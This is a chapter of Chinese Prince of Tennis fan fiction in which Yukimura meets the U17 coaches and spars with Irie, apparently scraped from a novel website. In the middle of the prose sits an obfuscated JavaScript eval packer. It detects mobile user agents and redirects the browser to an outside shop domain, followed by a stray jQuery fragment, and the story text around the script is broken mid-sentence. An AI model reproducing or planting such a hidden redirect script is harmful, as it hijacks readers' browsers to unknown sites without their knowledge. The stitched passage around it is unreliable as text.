20.第 20 章
    “前辈提前跑回来没关系吗?”幸村隐约记得今年的U17世界杯成绩并不太理想,好像还有什么事情发生来着,但时隔太久,具体的细节和时间也已经记不清楚了。

    “唔,说来话长嘛,按教练组的预测,其实今年还挺有希望小组赛出线来着,不过我们高一的选手上场机会相对来说少一点,再加上平等院突然受伤,修二坐船去的要慢一点根本赶不上替他,实际上最后上的阵容和去年没什么太大的区别,输了也不奇怪,”入江三言两语讲完了奇迹多多世界杯历险记,“要不教练组怎么那么着急把你绑来呢。”

    “啊,我想起来了!”这么一说,幸村脑海中出现了模糊的印象,这么看来自己来的这一趟应该恰好能赶上不少事情。

    “想起来什么呀?”入江带着幸村光明正大的直接穿过球场,在一片注目礼和窃窃私语中直奔教练组办公室。

    黑部从监控里看到人的时候就已经绅士地等在门口,态度之友好一度让幸村有点受宠若惊,毕竟按常规流程来的话,教练组应该先给他一个下马威,再进行一波诸如‘这里随便拉出来一个选手都能吊打你所以什么国中生第一人都是玩笑’之类的PUA大戏,幸村连心理准备和‘如何委婉的怼人100句’都准备好了,结果就这?

    入江似是看出了他的疑惑,悄悄解释:“估计是上次看比赛被你吓到了,你别看黑部教练长得一表人才,但实际上胆子小的很,晚上去厕所都要人陪的。”

    黑部只觉得找到小伙伴的入江格外开心,但他开心了这个训练营里就有人要倒霉了,俗称U17开心守恒定律。

    “入江,你下次造谣能不能挑我不在的时候……”

    开玩笑,上次全国大赛幸村差点一球送他一个住院套餐,这事反正他是搞不了一点。

    ‘砰’一声巨响,几人转头就看到了捂着额头的斋藤教练。

    入江看上去有点羡慕:“不管看几次还是觉得能撞到门框是件很神奇的事呢。”

    幸村赞同地点头:“是啊,总是撞到门框没关系吗?”

    斋藤揉揉脑袋,无所谓地笑笑:“啊哈哈,没关系啦,我都习惯了。”

    立海的部长回想了一下自家网球部日益增长的报损单,十分真诚地发言:“总是撞到门框的话,经费是不是还要专门拨一部分来进行维护呢?”

    斋藤自觉找了个地方坐下:“好有意思的小朋友哦!”

    他笑眯眯地给示意入江和幸村坐下聊,而无人在意的角落,黑部站累了会自己找地方坐。

    “还没有自我介绍,我叫斋藤至,目前担任U17训练营的精神教练,”斋藤点了点自己胸前别着的姓名牌,“我已经看过全国大赛总决赛那场单打一的录像了,虽然早就听说过你的名字,但你表现出的实力已经远远超出了之前收集到的资料和教练组的评估,实话实说,我对你的网球非常感兴趣,所以有几个问题想要请教一下。”

    “请教太言重了,不涉及到立海原则问题的情报,我很乐意解答。”

    斋藤几乎是一瞬间就在心里给眼前的幸村打上了‘不好骗’的标签,毕竟谁不知道立海的老大就是你本人,涉不涉及到立海的原则还不全是你小子说了算。

    但该问的他还是得硬着头皮问:“资料显示你和你们立海的真田同学很早之前就掌握了无我境界,但由于快速消耗体力的巨大缺陷选择将其封印,所以我想知道比赛最后的天衣无缝,是偶然还是……?”

    入江简直要听笑了,真不知道该说他们U17教练组的资料更新太慢,还是该说精市的保密工作做的足够好,这个问题蠢到还不如当场把人拉下去打一场球来的直观。

    但幸村在这个问题上却是出乎意料的坦率:“教练们对天衣无缝的关注度也出乎我的意料啊,这个问题很简单,正如你们的资料显示,既然我可以选择封印无我,那么为什么我不能同时封印天衣无缝呢?”

    斋藤被这个回答噎了一下,他有设想过幸村的天衣无缝是当场领悟的,又或者是掌握不太纯熟,但没想到竟然是他自己选择不用的?

    毕竟比起无我的巨大缺陷,天衣无缝的副作用在目前看来几乎等于没有,而在国际赛场上,天衣无缝虽然不像国中生比赛中拥有锁定比赛胜负的地位,但掌握自如的选手也是凤毛麟角,他实在想不出来幸村有什么理由会主动封印它。

    他这么想了,于是也这么问了,然后成功再次收获到入江一声看起来很可爱但细品还带着点嘲讽的冷笑。

    幸村其实也想笑,但是鉴于自己初来乍到不好太嚣张,还是轻咳两声忍住了:“封印它当然是因为……天衣无缝对我来说没什么用啊,除了像个大灯泡一样给赛场省点电费,我还没找到别的实际用途。”

    说着不好太嚣张,这句话却是嚣张到了极点,而在场的人没有人怀疑这句话的真实性,甚至除了入江以外就差把‘吓死我了’四个字写到脸上了。

    在场的两位教练交换了个眼神,黑部几乎是迫不及待地开口:“幸村同学,如果不太累的话,或许可以先和高中生来场比赛?”

    入江捧着水杯一小口一小口地往嘴里送,活像一只圆圆的小仓鼠:“教练,虽然你今天少见地态度非常好,好到让人难以拒绝,但我还是想说,和外面那些人比赛的话,纯属是浪费时间,试探不到精市的实力哦。”

    “我没这个意思。”黑部当然知道这种程度的比赛是试探不出什么,于是他的目光转向了训练营内目前仅存的一军选手。

    入江难以置信地指指自己,头摇的像拨浪鼓:“我啊?这不好吧?”

    幸村撑着脸饶有兴致地看着几个人:“前辈不想跟我打球吗?”

    “打是想打啦,不过我,”入江指指自己,又指指幸村,“打不过他。”

    斋藤:“哈?”

    黑部:“你开玩笑呢吧?”

    无人在意的另一个角落,沉迷俯卧撑训练的拓植也忍不住出声:“这是你搞得什么新演技训练吗?”

    “虽然我很想说是,但这次真不是,”入江被几个人突然增大的分贝浅浅吓了一跳,但还是难得正经地摇摇头,“精市没和修二认真打过,不过和去后山之前的平等院打练习赛的时候有输有赢,虽然他俩多少都藏了点吧……”

    入江风轻云淡的两句话吓死了一屋子人,看着幸村的眼神已经从‘温柔可爱的小弟弟’变成了‘这是什么怪物’。

    但当事人对此接受良好,甚至还十分友好地笑了笑。

    最后还是斋藤先摸着脑袋缓过神来:“黑部君,看看一军的行程,平等院他们哪天能回来?”

    不用他说,黑部已经十分自觉地开始翻行程单:“不出意外的话,他们的航班后天早晨就能到,种岛坐船会晚一点,平等院回来需要遵照医嘱静养一段时间,不过还有鬼和越智他们可以安排比赛。”

    久违地听到‘德川前辈饲养员’和‘毛利前辈诱捕器’的名字,幸村跃跃欲试。

    入江看出他对这几个人感兴趣,一时戏瘾上头:“他们几个无趣得很,小精市就这么移情别恋的话前辈我可是会伤心死的。”

    “怎么会,”幸村对于前辈突如其来的戏瘾一向能惯着就惯着,“不然我自罚,陪前辈打一局?想要什么剧本都可以。”

    入江打了个清脆的响指,刚刚满脸的沮丧一扫而空:“好耶,就等你这句话了!”

    斋藤抢先一步站起来:“或许你们需要一个裁判吗?”

    被婉拒后的三位教练无奈只能以特批室内地下球场的使用权为交换‘死皮赖脸’地跟在二人身后。

    入江站在场上,不动声色地瞥了一眼旁边闪闪发光的三个电灯泡,习以为常地朝幸村撒娇:“小精市,我也想看那个会发光的大电灯泡!”

    拓植抱臂杵在栏杆旁,看向旁边两个看热闹不嫌事大的同事:“他们这样真的没关系吗?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038739|135060||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我是指拿天衣无缝当烟花放这件事。”

    斋藤笑眯眯地盯着场上打的有来有回的两个人:“年轻人嘛,不正是爱玩的年纪,尤其是这样有天赋有价值的年轻人,只要不把训练营炸了,我想总教练也不会介意的。”

    下一秒,只听‘轰隆’一声巨响,入江一球砸向对面,精致的场地上瞬间出现一个坑。

    “咳咳,难得见入江这么拼,可惜这球出界了,”拓植扇开面前的灰,脸上略带可惜的表情下一秒无缝切换成目瞪口呆“出界了他还接?”

    只见幸村几乎是一瞬间奔向后场,赶在那个距离底线外沿不到五公分的球落地之前打了回去。

    拓植盯着斋藤,后者不自在地抚了抚下巴:“唔,虽然动静有点大,但起码我们球场还健在……吧?”

    话音未落,又是一声巨响,黑部叹气:“早知道还不如让他们去总教练那边折腾,室内球场修起来太贵了……”

    在幸村捞回第三个出界球之后,终于无奈叹了口气:“前辈,今天这是什么剧本?”

    “嘻嘻,”入江神秘一笑,“怪力恶霸学长和傻白甜温柔学弟的……热血网球竞技!”

    拓植看到这一幕不自觉地开始深刻反思:“我们心理状态评估的频率是不是需要往上提一提了?这样下去有生之年我该不会看到入江和平等院在球场上对着哭的场景吧?”

    而旁边的斋藤则是饶有兴致:“怪力恶霸,好反差的人设,不过温柔学弟倒是蛮合适的,有意思诶!”

    拓植:怪不得一军的精神状态一个个都这么美丽,看看精神教练就知道怎么回事了。

    黑部轻轻指向入江的位置:“不过如果真的把注意力都放在剧本上的话,可就上了他的当了。”

    而球场上的两个人,看起来动静很大,但从开始到现在,硬是没有人得分,或者说是占据防守一方的幸村完全不顾正常比赛规则地在无差别回击每一个球,一向喜欢在球场上温水煮青蛙的入江却反常地一直在进攻。

    两人之间激烈对打了几十球,怪力恶霸学长却逐渐放弃了用力道寻求突破口的模式,转而换成了各种花样不同球路但相当刁钻的高速球。

    “入江这小子可以啊,幸村开始被压制住了。”拓植满意地看着被入江的回球钓的满场跑的神之子。

    “不,你再好好看看,”黑部锐利地盯向场上的两个人,“幸村的天衣无缝状态已经持续了这么久,却只是在使用基础网球防守,丝毫没有要进攻的意思。”

    拓植深陷在入江的剧本里无法自拔,脑子里的第一反应居然是:“怪不得是温柔学弟啊,这么惯着入江这小子!”

    黑部很想一拳头把他脑壳敲开看看里面装的究竟是脑子还是章鱼小丸子:“这个球场一共五个人,居然只能凑出四个半脑子。”

    斋藤在拓植‘什么我们每个人居然只有0.9个脑子吗’的疑问中终于耗尽了所有的同事爱,伸手捂住了他的嘴:“没发现入江的精神力在你沉迷霸道学长俏学弟的时候已经悄悄布满整个球场了吗?”

    而黑部则是目不转睛地盯着幸村,眼里的满意几乎都要溢出来:“幸村在用天衣无缝强制把自己的五维平衡到同一强度,就像……”

    斋藤把自己刚刚记录下关于幸村的数据全部打上叉:“就像一张完美的,没有短板的网,他在帮入江模拟一个绝对平衡的对手,而入江要做的就是找到这张网可能存在的死角。”

    几位教练在看明白局势的一瞬间默契地安静下来,只是静静地看着这场甚至不算的比赛的对打练习——作为一支沉寂已久的队伍,他们太渴望一场胜利了,而一军的每一位选手,哪怕是一点点的突破都有可能在未来的某一场比赛上成为加注在胜利天平上的砝码。

    终于在数不清多少球后的某一瞬间,长时间高强度集中注意力以至于顾不上继续把自己的剧本演下去的入江终于露出一抹熟悉的微笑:“找到了!”